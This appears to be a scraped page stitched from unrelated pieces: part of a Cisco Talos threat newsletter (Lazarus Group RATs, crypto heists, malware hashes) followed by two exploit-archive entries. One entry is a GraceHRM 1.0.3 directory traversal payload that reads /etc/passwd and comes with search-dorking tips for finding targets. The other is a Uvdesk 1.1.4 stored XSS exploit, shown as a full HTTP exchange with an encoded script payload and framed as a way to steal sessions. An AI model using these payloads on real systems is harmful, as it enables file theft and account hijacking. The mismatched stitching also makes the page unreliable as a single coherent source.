I’m not blaming anyone or any company for the existence of these types of scams, I just think it’s worth noting to parents and potential players that bad actors are still trying to backpack off the popularity of these games. It likely doesn’t fall on the companies making these games to regulate this space and make sure scammers aren’t capitalizing off their popularity — after all, no one blames the bank if an attacker uses their name in a phishing email to steal login credentials.

But I also don’t know who it falls to, either. As users, it again falls on us to just be hyper-vigilant and prepared, knowing attackers will try to leverage anything, even fake money used to buy virtual hot dog suits, to scam people.

**The one big thing**

The infamous Lazarus Group APT is back at it again with two new remote access trojans. The North Korean state-sponsored group is well known for using a variety of malware to generate revenue for the hermit government and trying to spy on their various adversaries. Now, they have two new RATs that Talos recently discovered, largely based on open-source tools or previously leaked malware code. Lazarus Group is increasingly using the Qt framework to create their malware, which poses new challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult.

**Why do I care?**

Any time the Lazarus Group is active, everyone should take notice. This is one of the most high-profile APTs on the threat landscape right now, and they’ve shown that they will not hesitate to exhaust all options to try to generate money for North Korea’s government. With this specific set of RATs, they are smaller than Lazarus’ usual payloads, which makes their operations slimmer, faster and harder to detect. Once infected, Lazarus Group can carry out a wide range of malicious actions on targets, ranging from deploying ransomware to completely lock down targeted machines, stealing personal information, or hijacking hardware for cryptocurrency mining.

**So now what?**

Both the blogs we published Thursday morning include guidance on remediating these threats. The use of open-source tooling can sometimes make it easier for security researchers to spot Lazarus Group activity, and in the case of the two new RATs, Talos has a wide range of Snort and ClamAV detection available.

**Top security headlines of the week**

**The FBI warned that North Korean state-sponsored actors are preparing to cash out up to $40 million worth of cryptocurrency after multiple heists.** The Lazarus Group reportedly is holding onto six separate crypto wallets holding a combined 1,580 Bitcoin over the course of 24 hours earlier this week. This APT is known for carrying out data breaches and cyber attacks to generate funding for the country’s illegal nuclear weapons program. The Lazarus Group previously stole $60 million and $37 million in cryptocurrency from Alphapo and CoinsPaid, respectively, in July, and $100 million from Atomic Wallet in June. In its alert, the FBI shared the Bitcoin addresses associated with the attacks so cryptocurrency agencies could examine their blockchain data and “be vigilant in guarding against transactions directly with, or derived from the addresses.” (TechCrunch, SecurityWeek)

**A previously unknown hacking group appears to be behind a supply chain attack targeting roughly 100 computers located in Hong Kong and other areas of Asia.** Security researchers attributed the attack to a new actor known as “Carderbee” that is currently not tied to any state affiliations. The attackers exploited the legitimate Cobra DocGuard software — made by a Chinese software company — to deliver a malicious software update that compromised the machines. Because only about 2,000 machines worldwide use DocGuard, researchers believe it is a highly targeted attack looking to compromise specific victims. Each attack tried to deploy the Korplug (the predecessor of PlugX) backdoor onto victim computers. (CyberScoop, The Record by Recorded Future)

**The Clop threat actor was responsible for more than a third of all ransomware attacks in July,** according to multiple industry reports. Clop continues to carry out follow-on attacks associated with its massive breach of the MOVEit file transfer software. More than 4 million Colorado residents may have been affected because of the MOVEit breach, with the state’s Department of Health Care Policy & Financing (HCPF) disclosing this week that it was affected through a technology partner, IBM. HCPF stated that the MOVEit data breach leaked sensitive data but did not compromise the state agency’s internal systems. As of this week, some estimates state that more than 730 organizations have been affected by the MOVEit breach. (Cybersecurity Dive, CPO Magazine)

**Can’t get enough Talos?**

*   Talos Takes Ep. #151: Hacktivism is quietly growing, especially when it comes to Russia's invasion of Ukraine
*   Three vulnerabilities in NVIDIA graphics driver could cause memory corruption
*   Generating FLIRT signatures for Nim and other non-C programming languages
*   Cisco: Bringing More Intelligence to Bear on the Threat Landscape

**Upcoming events where you can find Talos**

**LABScon** **(Sept. 20 - 23)**

Scottsdale, Arizona

> Vitor Ventura gives a presentation that’s a detailed account and timeline of one such mercenary organization, from almost bankrupt to having a fully working spyware targeting iOS and Android with a one-click zero-day exploit.

**Grace Hopper Celebration** **(Sept. 26 - 29)**

Orlando, Florida

> Caitlin Huey, Susan Paskey and Alexis Merritt present a "Level Up Lab" titled "Don’t Fail Knowledge Checks: Accelerating Incident Response with Threat Intelligence." Participate in several fast-paced activities that emphasize the importance of threat intelligence in security incident investigations. Attendees will act as incident responders investigating a simulated incident that unfolds throughout this session. Periodic checkpoints will include discussions that highlight how incident response and threat intelligence complement each other during an active security investigation.

**ATT&CKcon 4.0** **(Oct. 24 - 25)**

McLean, Virginia

> Nicole Hoffman and James Nutland discuss the MIRE ATT&CK framework in “One Leg to Stand on: Adventures in Adversary Tracking with ATT&CK.” Even though ATT&CK has become an industry standard for cyber threat intelligence reporting, all too often, techniques are thrown at the bottoms of reports and blogs without any context never to be seen again after dissemination. This is not useful for intelligence producers or consumers. In this presentation, Nicole and James will show analysts how to use ATT&CK as a guideline for creating a contextual knowledge base for adversary tracking.

**Most prevalent malware files from Talos telemetry over the past week**

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe  
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a  
**Typical Filename:** nYzVlQyRnQmDcXk  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.33515991

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440  
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e  
**Typical Filename:** iizbpyilb.bat  
**Claimed Product:** N/A  
**Detection Name:** Trojan.Agent.DDOH

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf  
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551  
**Typical Filename:** rcx4d83.tmp  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Pykspa::tpd

Years into these games’ histories, attackers are still creating “Fortnite” and “Roblox”-related scams

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

**GraceHRM 1.0.3 Directory Traversal**

Posted Aug 24, 2023

Authored by indoushka

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 1ef7aca42ba692fa60907a0530d21ee9db579bba9acd7d508271bcf4d6e8171a

Download | Favorite | View

**GraceHRM 1.0.3 Directory Traversal**

    ====================================================================================================================================| # Title     : GraceHRM v1.0.3 Directory traversal Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : http://p30vel.ir/                                                                                                  |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /admin/download?type=files&filename=../../../../../../../../../etc/passwd[+] http://127.0.0.1/hrmgraceitltdcom/admin/download?type=files&filename=../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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**File Archives**

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GraceHRM 1.0.3 Directory Traversal

Uvdesk version 1.1.4 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated)# Date: 14/08/2023# Exploit Author: Hubert Wojciechowski# Contact Author: hub.woj12345@gmail.com# Vendor Homepage: https://www.uvdesk.com/# Software Link: https://github.com/MegaTKC/AeroCMS# Version: 1.1.4# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23# Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion.## Example XSS Stored in new ticket-----------------------------------------------------------------------------------------------------------------------Param: reply-----------------------------------------------------------------------------------------------------------------------Req-----------------------------------------------------------------------------------------------------------------------POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1Host: 127.0.0.1Content-Length: 812Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1Accept-Encoding: gzip, deflateAccept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3Connection: close------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="threadType"forward------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="status"------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="subject"aaaa------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="to[]"test@local.host------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="reply"%3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="pic"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="nextView"stay------WebKitFormBoundaryXCjJcGbgZxZWLsSk-------------------------------------------------------------------------------------------------------------------------Res:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 302 FoundDate: Mon, 14 Aug 2023 11:33:26 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateLocation: /uvdesk/public/en/member/ticket/view/1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: bf1b73X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:33:26 GMTSet-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=laxConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 398<!DOCTYPE html><html>    <head>        <meta charset="UTF-8" />        <meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" />        <title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title>    </head>    <body>        Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>.    </body></html>-----------------------------------------------------------------------------------------------------------------------Redirect and view response:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 200 OKDate: Mon, 14 Aug 2023 11:44:14 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: 254ce8X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:44:14 GMTConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 300607<!DOCTYPE html><html>    <head>        <title>#1 vvvvvvvvvvvvvvvvvvvvv</title>[...]<p><embed src=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed></p>[...]-----------------------------------------------------------------------------------------------------------------------XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application.

Tag

#apple